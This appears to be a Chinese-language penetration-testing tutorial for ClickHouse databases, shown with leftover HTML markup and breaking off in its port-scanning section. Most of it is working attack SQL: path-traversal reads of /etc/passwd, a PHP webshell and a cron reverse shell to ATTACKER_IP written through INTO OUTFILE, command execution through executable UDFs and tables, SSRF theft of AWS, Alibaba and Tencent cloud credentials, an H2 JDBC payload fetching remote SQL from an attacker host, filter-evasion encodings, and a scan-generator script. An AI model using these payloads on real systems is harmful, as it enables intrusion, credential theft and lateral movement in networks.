ClickHouse 数据库渗透测试教学文档<\/h1>

1. 概述<\/h2>

1.1 什么是 ClickHouse<\/h3>
ClickHouse 是由 Yandex 开发的开源列式数据库管理系统，专为在线分析处理（OLAP）场景设计。它能够高效处理大规模数据集，支持快速查询和实时数据分析。<\/p>

1.2 默认配置<\/h3>

配置项<\/th> 默认值<\/th> <\/tr> <\/thead>

HTTP 端口<\/td> 8123<\/td> <\/tr>

TCP 端口<\/td> 9000<\/td> <\/tr>

MySQL 协议端口<\/td> 9004<\/td> <\/tr>

配置目录<\/td> \/etc\/clickhouse-server\/<\/td> <\/tr>

数据目录<\/td> \/var\/lib\/clickhouse\/<\/td> <\/tr>

用户脚本目录<\/td> \/var\/lib\/clickhouse\/user_scripts\/<\/td> <\/tr>

用户文件目录<\/td>

\/var\/lib\/clickhouse\/user_files\/<\/td> <\/tr> <\/tbody> <\/table>

1.3 渗透测试目标<\/h3>

信息泄露<\/strong>：获取敏感数据、配置信息<\/li>
文件读取<\/strong>：读取系统敏感文件<\/li>
文件写入<\/strong>：写入 webshell、脚本、配置文件<\/li>
命令执行<\/strong>：实现 RCE（远程代码执行）<\/li>

横向移动<\/strong>：利用 SSRF 或数据库连接攻击内网<\/li> <\/ol>
2. 信息收集<\/h2>
2.1 版本信息收集<\/h3>
-- 获取版本 <\/span><\/span><\/span><\/span>SELECT<\/span> version<\/span>(); <\/span><\/span> <\/span><\/span>-- 获取详细版本信息 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> system<\/span>.build_options; <\/span><\/span><\/code><\/pre>2.2 用户与权限信息<\/h3> -- 当前用户 <\/span><\/span><\/span><\/span>SELECT<\/span> currentUser(); <\/span><\/span> <\/span><\/span>-- 查看所有用户 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> system<\/span>.users; <\/span><\/span> <\/span><\/span>-- 查看当前用户权限 <\/span><\/span><\/span><\/span>SHOW<\/span> GRANTS; <\/span><\/span> <\/span><\/span>-- 查看所有权限授予 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> system<\/span>.grants; <\/span><\/span> <\/span><\/span>-- 查看角色 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> system<\/span>.roles; <\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> system<\/span>.role_grants; <\/span><\/span><\/code><\/pre>2.3 数据库与表信息<\/h3> -- 查看所有数据库 <\/span><\/span><\/span><\/span>SHOW<\/span> DATABASES; <\/span><\/span> <\/span><\/span>-- 查看所有表 <\/span><\/span><\/span><\/span>SELECT<\/span> database<\/span>, name, engine, total_rows, total_bytes <\/span><\/span>FROM<\/span> system<\/span>.tables <\/span><\/span>WHERE<\/span> database<\/span> NOT<\/span> IN<\/span> ('system'<\/span>, 'INFORMATION_SCHEMA'<\/span>, 'information_schema'<\/span>) <\/span><\/span>ORDER<\/span> BY<\/span> total_bytes DESC<\/span>; <\/span><\/span> <\/span><\/span>-- 查看表结构 <\/span><\/span><\/span><\/span>DESCRIBE<\/span> TABLE<\/span> database_name.table_name<\/span>; <\/span><\/span><\/code><\/pre>2.4 服务器配置信息<\/h3> -- 查看所有设置 <\/span><\/span><\/span><\/span>SELECT<\/span> name, value FROM<\/span> system<\/span>.settings; <\/span><\/span> <\/span><\/span>-- 查看路径相关配置 <\/span><\/span><\/span><\/span>SELECT<\/span> name, value FROM<\/span> system<\/span>.settings WHERE<\/span> name LIKE<\/span> '%path%'<\/span>; <\/span><\/span> <\/span><\/span>-- 查看文件相关配置 <\/span><\/span><\/span><\/span>SELECT<\/span> name, value FROM<\/span> system<\/span>.settings WHERE<\/span> name LIKE<\/span> '%file%'<\/span>; <\/span><\/span> <\/span><\/span>-- 查看可执行相关配置 <\/span><\/span><\/span><\/span>SELECT<\/span> name, value FROM<\/span> system<\/span>.settings WHERE<\/span> name LIKE<\/span> '%executable%'<\/span>; <\/span><\/span> <\/span><\/span>-- 查看磁盘信息 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> system<\/span>.disks; <\/span><\/span> <\/span><\/span>-- 查看存储策略 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> system<\/span>.storage_policies; <\/span><\/span><\/code><\/pre>2.5 集群信息收集<\/h3> -- 查看集群配置 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> system<\/span>.clusters; <\/span><\/span> <\/span><\/span>-- 查看 Zookeeper 配置 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> system<\/span>.zookeeper WHERE<\/span> path =<\/span> '\/'<\/span>; <\/span><\/span> <\/span><\/span>-- 查看复制表状态 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> system<\/span>.replicas; <\/span><\/span> <\/span><\/span>-- 查看宏定义 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> system<\/span>.macros; <\/span><\/span><\/code><\/pre>2.6 查询历史分析<\/h3> -- 查看查询日志（可能包含密码、密钥） <\/span><\/span><\/span><\/span>SELECT<\/span> <\/span><\/span> event_time, <\/span><\/span> user<\/span>, <\/span><\/span> query, <\/span><\/span> client_hostname <\/span><\/span>FROM<\/span> system<\/span>.query_log <\/span><\/span>WHERE<\/span> type<\/span> =<\/span> 'QueryFinish'<\/span> <\/span><\/span>ORDER<\/span> BY<\/span> event_time DESC<\/span> <\/span><\/span>LIMIT<\/span> 100<\/span>; <\/span><\/span> <\/span><\/span>-- 搜索包含敏感关键词的查询 <\/span><\/span><\/span><\/span>SELECT<\/span> query FROM<\/span> system<\/span>.query_log <\/span><\/span>WHERE<\/span> query LIKE<\/span> '%password%'<\/span> <\/span><\/span> OR<\/span> query LIKE<\/span> '%secret%'<\/span> <\/span><\/span> OR<\/span> query LIKE<\/span> '%key%'<\/span> <\/span><\/span> OR<\/span> query LIKE<\/span> '%token%'<\/span>; <\/span><\/span><\/code><\/pre>2.7 可用函数分析<\/h3> -- 查看所有表函数 <\/span><\/span><\/span><\/span>SELECT<\/span> name FROM<\/span> system<\/span>.table_functions ORDER<\/span> BY<\/span> name; <\/span><\/span> <\/span><\/span>-- 查看用户定义函数 <\/span><\/span><\/span><\/span>SELECT<\/span> name, origin, create_query FROM<\/span> system<\/span>.functions <\/span><\/span>WHERE<\/span> origin =<\/span> 'ExecutableUserDefined'<\/span>; <\/span><\/span> <\/span><\/span>-- 查看所有非系统函数 <\/span><\/span><\/span><\/span>SELECT<\/span> name, origin FROM<\/span> system<\/span>.functions WHERE<\/span> origin !=<\/span> 'System'<\/span>; <\/span><\/span><\/code><\/pre>3. 权限评估<\/h2> 3.1 关键权限检查<\/h3> -- 检查是否有文件写入权限 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> system<\/span>.settings WHERE<\/span> name =<\/span> 'allow_into_outfile'<\/span>; <\/span><\/span> <\/span><\/span>-- 检查是否有 DDL 权限 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> system<\/span>.settings WHERE<\/span> name =<\/span> 'allow_ddl'<\/span>; <\/span><\/span> <\/span><\/span>-- 检查 SOURCES 权限（url、mysql、postgresql 等函数） <\/span><\/span><\/span><\/span>SHOW<\/span> GRANTS; <\/span><\/span><\/code><\/pre>3.2 权限等级划分<\/h3> 权限级别<\/th> 可执行操作<\/th> <\/tr> <\/thead> 只读用户<\/td> SELECT 查询<\/td> <\/tr> 普通用户<\/td> SELECT、INSERT、部分表函数<\/td> <\/tr> DDL 权限<\/td> CREATE、DROP、ALTER<\/td> <\/tr> SOURCES 权限<\/td> url()、mysql()、postgresql() 等<\/td> <\/tr> 管理员<\/td> 全部权限<\/td> <\/tr> <\/tbody> <\/table> 4. 文件读取利用<\/h2> 4.1 file() 函数读取<\/h3> -- 基本读取（限制在 user_files 目录） <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> file('test.txt'<\/span>, 'RawBLOB'<\/span>, 'data String'<\/span>); <\/span><\/span> <\/span><\/span>-- 使用通配符列出文件 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> file('*'<\/span>, 'RawBLOB'<\/span>, 'data String'<\/span>); <\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> file('*.txt'<\/span>, 'RawBLOB'<\/span>, 'data String'<\/span>); <\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> file('*.log'<\/span>, 'RawBLOB'<\/span>, 'data String'<\/span>); <\/span><\/span><\/code><\/pre>4.2 路径穿越尝试<\/h3> -- 尝试路径穿越（低版本可能有效） <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> file('..\/..\/..\/etc\/passwd'<\/span>, 'RawBLOB'<\/span>, 'data String'<\/span>); <\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> file('..\/..\/etc\/passwd'<\/span>, 'RawBLOB'<\/span>, 'data String'<\/span>); <\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> file('....\/\/....\/\/....\/\/etc\/passwd'<\/span>, 'RawBLOB'<\/span>, 'data String'<\/span>); <\/span><\/span> <\/span><\/span>-- 读取 ClickHouse 配置 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> file('..\/config.xml'<\/span>, 'RawBLOB'<\/span>, 'data String'<\/span>); <\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> file('..\/users.xml'<\/span>, 'RawBLOB'<\/span>, 'data String'<\/span>); <\/span><\/span><\/code><\/pre>4.3 软链接绕过<\/h3> 如果有命令执行权限，可以创建软链接绕过目录限制：<\/p> ln -s \/etc\/passwd \/var\/lib\/clickhouse\/user_files\/passwd <\/span><\/span><\/code><\/pre>然后读取：<\/p> SELECT<\/span> *<\/span> FROM<\/span> file('passwd'<\/span>, 'RawBLOB'<\/span>, 'data String'<\/span>); <\/span><\/span><\/code><\/pre>5. 文件写入利用<\/h2> 5.1 INTO OUTFILE 写入<\/h3> -- 基本文件写入 <\/span><\/span><\/span><\/span>SELECT<\/span> 'test content'<\/span> INTO<\/span> OUTFILE '\/path\/to\/file.txt'<\/span> FORMAT Raw; <\/span><\/span> <\/span><\/span>-- 使用 TRUNCATE 覆盖文件 <\/span><\/span><\/span><\/span>SELECT<\/span> 'new content'<\/span> INTO<\/span> OUTFILE '\/path\/to\/file.txt'<\/span> TRUNCATE<\/span> FORMAT Raw; <\/span><\/span> <\/span><\/span>-- 写入 webshell <\/span><\/span><\/span><\/span>SELECT<\/span> '<?php system($_GET["cmd"]); ?>'<\/span> INTO<\/span> OUTFILE '\/var\/www\/html\/shell.php'<\/span> FORMAT Raw; <\/span><\/span> <\/span><\/span>-- 写入 SSH 公钥 <\/span><\/span><\/span><\/span>SELECT<\/span> 'ssh-rsa AAAA... user@host'<\/span> INTO<\/span> OUTFILE '\/root\/.ssh\/authorized_keys'<\/span> FORMAT Raw; <\/span><\/span> <\/span><\/span>-- 写入 crontab <\/span><\/span><\/span><\/span>SELECT<\/span> '* * * * * root bash -i >& \/dev\/tcp\/ATTACKER_IP\/8888 0>&1'<\/span> <\/span><\/span>INTO<\/span> OUTFILE '\/etc\/cron.d\/reverse_shell'<\/span> FORMAT Raw; <\/span><\/span><\/code><\/pre>5.2 写入脚本到 user_scripts 目录<\/h3> -- 写入可执行脚本 <\/span><\/span><\/span><\/span>SELECT<\/span> '#!\/bin\/bash <\/span><\/span><\/span>id'<\/span> INTO<\/span> OUTFILE '\/var\/lib\/clickhouse\/user_scripts\/cmd.sh'<\/span> FORMAT Raw; <\/span><\/span> <\/span><\/span>-- 写入交互式 shell 脚本 <\/span><\/span><\/span><\/span>SELECT<\/span> '#!\/bin\/bash <\/span><\/span><\/span>while read cmd; do <\/span><\/span><\/span> eval "$cmd" 2>&1 <\/span><\/span><\/span>done'<\/span> INTO<\/span> OUTFILE '\/var\/lib\/clickhouse\/user_scripts\/shell.sh'<\/span> FORMAT Raw; <\/span><\/span><\/code><\/pre>6. 命令执行利用<\/h2> 6.1 UDF 配置文件方式（需要配置文件写入权限）<\/h3> 步骤1：创建 UDF 配置文件<\/strong> 创建 \/etc\/clickhouse-server\/cmd_function.xml<\/code>：<\/p> <functions><\/span> <\/span><\/span> <function><\/span> <\/span><\/span> <type><\/span>executable<\/type><\/span> <\/span><\/span> <name><\/span>cmd<\/name><\/span> <\/span><\/span> <return_type><\/span>String<\/return_type><\/span> <\/span><\/span> <format><\/span>TabSeparated<\/format><\/span> <\/span><\/span> <command><\/span>id<\/command><\/span> <\/span><\/span> <execute_direct><\/span>0<\/execute_direct><\/span> <\/span><\/span> <lifetime><\/span>0<\/lifetime><\/span> <\/span><\/span> <\/function><\/span> <\/span><\/span><\/functions><\/span> <\/span><\/span><\/code><\/pre>关键参数说明：<\/strong><\/p> execute_direct=0<\/code>：command 通过 sh -c 执行<\/li> execute_direct=1<\/code>：command 在 user_scripts 目录查找脚本<\/li> <\/ul> 步骤2：确保 config.xml 包含<\/strong><\/p> <user_defined_executable_functions_config><\/span>*_function.xml<\/user_defined_executable_functions_config><\/span> <\/span><\/span><\/code><\/pre>步骤3：重启服务后执行<\/strong><\/p> SELECT<\/span> cmd(); <\/span><\/span><\/code><\/pre>6.2 带参数的交互式 Shell<\/h3> UDF 配置：<\/p> <functions><\/span> <\/span><\/span> <function><\/span> <\/span><\/span> <type><\/span>executable<\/type><\/span> <\/span><\/span> <name><\/span>shell<\/name><\/span> <\/span><\/span> <return_type><\/span>String<\/return_type><\/span> <\/span><\/span> <argument><\/span> <\/span><\/span> <type><\/span>String<\/type><\/span> <\/span><\/span> <name><\/span>cmd<\/name><\/span> <\/span><\/span> <\/argument><\/span> <\/span><\/span> <format><\/span>TabSeparated<\/format><\/span> <\/span><\/span> <command><\/span>bash -c<\/command><\/span> <\/span><\/span> <execute_direct><\/span>0<\/execute_direct><\/span> <\/span><\/span> <lifetime><\/span>0<\/lifetime><\/span> <\/span><\/span> <\/function><\/span> <\/span><\/span><\/functions><\/span> <\/span><\/span><\/code><\/pre>执行命令：<\/p> SELECT<\/span> shell('id'<\/span>); <\/span><\/span>SELECT<\/span> shell('cat \/etc\/passwd'<\/span>); <\/span><\/span>SELECT<\/span> shell('whoami'<\/span>); <\/span><\/span><\/code><\/pre>6.3 executable() 表函数<\/h3> -- 直接执行命令（新版本） <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> executable('id'<\/span>, TabSeparated, 'output String'<\/span>); <\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> executable('cat \/etc\/passwd'<\/span>, TabSeparated, 'line String'<\/span>); <\/span><\/span> <\/span><\/span>-- 执行 user_scripts 目录下的脚本 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> executable('script.sh'<\/span>, TabSeparated, 'output String'<\/span>); <\/span><\/span> <\/span><\/span>-- 带参数执行 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> executable('shell.sh'<\/span>, TabSeparated, 'output String'<\/span>, (SELECT<\/span> 'id'<\/span>)); <\/span><\/span><\/code><\/pre>6.4 Executable 表引擎<\/h3> -- 创建 Executable 表 <\/span><\/span><\/span><\/span>CREATE<\/span> TABLE<\/span> cmd_table (output<\/span> String) <\/span><\/span>ENGINE =<\/span> Executable('id'<\/span>, TabSeparated); <\/span><\/span> <\/span><\/span>-- 查询触发执行 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> cmd_table; <\/span><\/span><\/code><\/pre>6.5 Executable Dictionary<\/h3> -- 创建可执行字典 <\/span><\/span><\/span><\/span>CREATE<\/span> DICTIONARY<\/span> cmd_dict ( <\/span><\/span> id UInt64, <\/span><\/span> output<\/span> String <\/span><\/span>) <\/span><\/span>PRIMARY<\/span> KEY<\/span> id <\/span><\/span>SOURCE<\/span>(EXECUTABLE(COMMAND 'id'<\/span> FORMAT TabSeparated)) <\/span><\/span>LIFETIME(0<\/span>) <\/span><\/span>LAYOUT(FLAT()); <\/span><\/span> <\/span><\/span>-- 调用字典执行命令 <\/span><\/span><\/span><\/span>SELECT<\/span> dictGet('cmd_dict'<\/span>, 'output'<\/span>, toUInt64(1<\/span>)); <\/span><\/span><\/code><\/pre>7. SSRF 利用<\/h2> 7.1 url() 表函数<\/h3> -- 基本 HTTP 请求 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> url('http:\/\/target:port\/path'<\/span>, 'RawBLOB'<\/span>, 'data String'<\/span>); <\/span><\/span> <\/span><\/span>-- 带超时设置 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> url('http:\/\/target:port\/'<\/span>, 'RawBLOB'<\/span>, 'data String'<\/span>) <\/span><\/span>SETTINGS connect_timeout=<\/span>2<\/span>, receive_timeout=<\/span>2<\/span>; <\/span><\/span> <\/span><\/span>-- 探测内网服务 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> url('http:\/\/192.168.1.1:80\/'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>); <\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> url('http:\/\/10.0.0.1:8080\/'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>); <\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> url('http:\/\/172.16.0.1:3306\/'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>); <\/span><\/span><\/code><\/pre>7.2 常见内网服务探测<\/h3> -- Redis <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> url('http:\/\/127.0.0.1:6379\/'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>); <\/span><\/span> <\/span><\/span>-- Elasticsearch <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> url('http:\/\/127.0.0.1:9200\/'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>); <\/span><\/span> <\/span><\/span>-- Docker API <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> url('http:\/\/127.0.0.1:2375\/version'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>); <\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> url('http:\/\/127.0.0.1:2375\/containers\/json'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>); <\/span><\/span> <\/span><\/span>-- Kubernetes API <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> url('http:\/\/127.0.0.1:10250\/pods'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>); <\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> url('http:\/\/kubernetes.default.svc\/'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>); <\/span><\/span> <\/span><\/span>-- etcd <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> url('http:\/\/127.0.0.1:2379\/version'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>); <\/span><\/span><\/code><\/pre>7.3 批量内网扫描<\/h3> -- 扫描网段 <\/span><\/span><\/span><\/span>SELECT<\/span> <\/span><\/span> '192.168.1.1'<\/span> as<\/span> ip, *<\/span> FROM<\/span> url('http:\/\/192.168.1.1:80\/'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>) <\/span><\/span> SETTINGS connect_timeout=<\/span>2<\/span> <\/span><\/span>UNION<\/span> ALL<\/span> <\/span><\/span>SELECT<\/span> '192.168.1.2'<\/span>, *<\/span> FROM<\/span> url('http:\/\/192.168.1.2:80\/'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>) <\/span><\/span> SETTINGS connect_timeout=<\/span>2<\/span> <\/span><\/span>UNION<\/span> ALL<\/span> <\/span><\/span>SELECT<\/span> '192.168.1.3'<\/span>, *<\/span> FROM<\/span> url('http:\/\/192.168.1.3:80\/'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>) <\/span><\/span> SETTINGS connect_timeout=<\/span>2<\/span>; <\/span><\/span><\/code><\/pre>7.4 其他 SSRF 函数<\/h3> -- S3 函数 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> s3('http:\/\/target:port\/bucket\/file'<\/span>, 'CSV'<\/span>, 'data String'<\/span>); <\/span><\/span> <\/span><\/span>-- HDFS 函数 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> hdfs('hdfs:\/\/target:9000\/path'<\/span>, 'TabSeparated'<\/span>, 'data String'<\/span>); <\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> hdfs('webhdfs:\/\/target:50070\/path'<\/span>, 'TabSeparated'<\/span>, 'data String'<\/span>); <\/span><\/span><\/code><\/pre>8. 云环境利用<\/h2> 8.1 AWS<\/h3> -- EC2 元数据 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> url('http:\/\/169.254.169.254\/latest\/meta-data\/'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>); <\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> url('http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\/'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>); <\/span><\/span> <\/span><\/span>-- 获取临时凭证 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> url('http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\/ROLE_NAME'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>); <\/span><\/span><\/code><\/pre>8.2 阿里云<\/h3> -- ECS 元数据 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> url('http:\/\/100.100.100.200\/latest\/meta-data\/'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>); <\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> url('http:\/\/100.100.100.200\/latest\/meta-data\/ram\/security-credentials\/'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>); <\/span><\/span><\/code><\/pre>8.3 腾讯云<\/h3> -- CVM 元数据 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> url('http:\/\/metadata.tencentyun.com\/latest\/meta-data\/'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>); <\/span><\/span> <\/span><\/span>-- 获取实例信息 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> url('http:\/\/metadata.tencentyun.com\/latest\/meta-data\/instance-id'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>); <\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> url('http:\/\/metadata.tencentyun.com\/latest\/meta-data\/local-ipv4'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>); <\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> url('http:\/\/metadata.tencentyun.com\/latest\/meta-data\/placement\/region'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>); <\/span><\/span> <\/span><\/span>-- 获取 CAM 临时凭证 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> url('http:\/\/metadata.tencentyun.com\/latest\/meta-data\/cam\/security-credentials\/'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>); <\/span><\/span> <\/span><\/span>-- 获取 User Data（可能包含敏感信息） <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> url('http:\/\/metadata.tencentyun.com\/latest\/user-data'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>); <\/span><\/span><\/code><\/pre>8.4 Google Cloud<\/h3> -- GCE 元数据（需要特殊 Header） <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> url('http:\/\/metadata.google.internal\/computeMetadata\/v1\/'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>); <\/span><\/span><\/code><\/pre>9. 横向移动<\/h2> 9.1 MySQL 连接<\/h3> -- 连接内网 MySQL <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> mysql('192.168.1.100:3306'<\/span>, 'database'<\/span>, 'table'<\/span>, 'user'<\/span>, 'password'<\/span>); <\/span><\/span> <\/span><\/span>-- 获取用户信息 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> mysql('target:3306'<\/span>, 'mysql'<\/span>, 'user'<\/span>, 'root'<\/span>, 'password'<\/span>); <\/span><\/span><\/code><\/pre>9.2 PostgreSQL 连接<\/h3> -- 连接 PostgreSQL <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> postgresql('192.168.1.100:5432'<\/span>, 'database'<\/span>, 'table'<\/span>, 'user'<\/span>, 'password'<\/span>); <\/span><\/span><\/code><\/pre>9.3 remote() 连接其他 ClickHouse<\/h3> -- 连接其他 ClickHouse 节点 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> remote('192.168.1.100:9000'<\/span>, 'database'<\/span>, 'table'<\/span>, 'user'<\/span>, 'password'<\/span>); <\/span><\/span> <\/span><\/span>-- 使用集群 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> cluster<\/span>('cluster_name'<\/span>, 'database'<\/span>, 'table'<\/span>); <\/span><\/span><\/code><\/pre>9.4 JDBC 连接（需要 JDBC Bridge）<\/h3> -- JDBC 连接 <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> jdbc('jdbc:mysql:\/\/target:3306\/db?user=root&password=pass'<\/span>, 'table'<\/span>); <\/span><\/span> <\/span><\/span>-- H2 数据库 RCE <\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> jdbc('jdbc:h2:mem:test;INIT=RUNSCRIPT FROM ''http:\/\/attacker\/evil.sql'''<\/span>, 'test'<\/span>); <\/span><\/span><\/code><\/pre>10. 防御绕过<\/h2> 10.1 编码绕过<\/h3> -- Base64 编码 <\/span><\/span><\/span><\/span>SELECT<\/span> base64Encode('<?php system($_GET["cmd"]); ?>'<\/span>); <\/span><\/span>SELECT<\/span> base64Decode('PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+'<\/span>); <\/span><\/span> <\/span><\/span>-- Hex 编码 <\/span><\/span><\/span><\/span>SELECT<\/span> hex('malicious content'<\/span>); <\/span><\/span>SELECT<\/span> unhex('6D616C6963696F757320636F6E74656E74'<\/span>); <\/span><\/span> <\/span><\/span>-- 使用编码写入文件 <\/span><\/span><\/span><\/span>SELECT<\/span> unhex('...hex content...'<\/span>) INTO<\/span> OUTFILE '\/path\/to\/file'<\/span> FORMAT Raw; <\/span><\/span><\/code><\/pre>10.2 字符串拼接<\/h3> -- 拼接命令 <\/span><\/span><\/span><\/span>SELECT<\/span> concat('ca'<\/span>, 't'<\/span>, ' \/etc\/passwd'<\/span>); <\/span><\/span><\/code><\/pre>10.3 使用变量<\/h3> -- 使用 WITH 子句 <\/span><\/span><\/span><\/span>WITH<\/span> 'http:\/\/target\/'<\/span> AS<\/span> url <\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> url(url, 'RawBLOB'<\/span>, 'd String'<\/span>); <\/span><\/span><\/code><\/pre>11. 常见限制与绕过<\/h2> 托管环境限制<\/h3> 限制<\/th> 状态<\/th> 绕过方法<\/th> <\/tr> <\/thead> INTO OUTFILE 禁用<\/td> 常见<\/td> 无直接绕过，尝试其他写入方式<\/td> <\/tr> Executable DDL 禁用<\/td> 常见<\/td> 尝试配置文件方式<\/td> <\/tr> 路径穿越阻止<\/td> 常见<\/td> 软链接（需命令执行）<\/td> <\/tr> url() 内网限制<\/td> 少见<\/td> DNS 重绑定<\/td> <\/tr> 配置文件只读<\/td> 常见<\/td> 无绕过<\/td> <\/tr> <\/tbody> <\/table> 12. 工具与脚本<\/h2> 12.1 信息收集一键脚本<\/h3> -- 一键获取系统信息 <\/span><\/span><\/span><\/span>SELECT<\/span> 'version'<\/span> as<\/span> info, version<\/span>() as<\/span> value <\/span><\/span>UNION<\/span> ALL<\/span> SELECT<\/span> 'user'<\/span>, currentUser() <\/span><\/span>UNION<\/span> ALL<\/span> SELECT<\/span> 'timezone'<\/span>, timezone() <\/span><\/span>UNION<\/span> ALL<\/span> SELECT<\/span> 'hostname'<\/span>, hostName(); <\/span><\/span><\/code><\/pre>12.2 Python SSRF 扫描脚本<\/h3> #!\/usr\/bin\/env python3<\/span> <\/span><\/span>""" <\/span><\/span><\/span>ClickHouse SSRF 内网扫描器 <\/span><\/span><\/span>"""<\/span> <\/span><\/span> <\/span><\/span>def<\/span> generate_scan_sql<\/span>(network, port, start=<\/span>1<\/span>, end=<\/span>254<\/span>): <\/span><\/span> """生成扫描 SQL"""<\/span> <\/span><\/span> sqls =<\/span> [] <\/span><\/span> for<\/span> i in<\/span> range(start, end +<\/span> 1<\/span>): <\/span><\/span> ip =<\/span> f<\/span>"<\/span>{<\/span>network}<\/span>.<\/span>{<\/span>i}<\/span>"<\/span> <\/span><\/span> sql =<\/span> f<\/span>"SELECT '<\/span>{<\/span>ip}<\/span>:<\/span>{<\/span>port}<\/span>' as target, * FROM url('http:\/\/<\/span>{<\/span>ip}<\/span>:<\/span>{<\/span>port}<\/span>\/', 'RawBLOB', 'd String') SETTINGS connect_timeout=2;"<\/span> <\/span><\/span> sqls.<\/span>append(sql) <\/span><\/span> return<\/span> sqls <\/span><\/span> <\/span><\/span># 生成扫描语句<\/span> <\/span><\/span>for<\/span> sql in<\/span> generate_scan_sql("192.168.1"<\/span>, 80<\/span>, 1<\/span>, 254<\/span>): <\/span><\/span> print(sql) <\/span><\/span><\/code><\/pre>12.3 批量端口扫描 SQL 模板<\/h3> -- 扫描单 IP 多端口 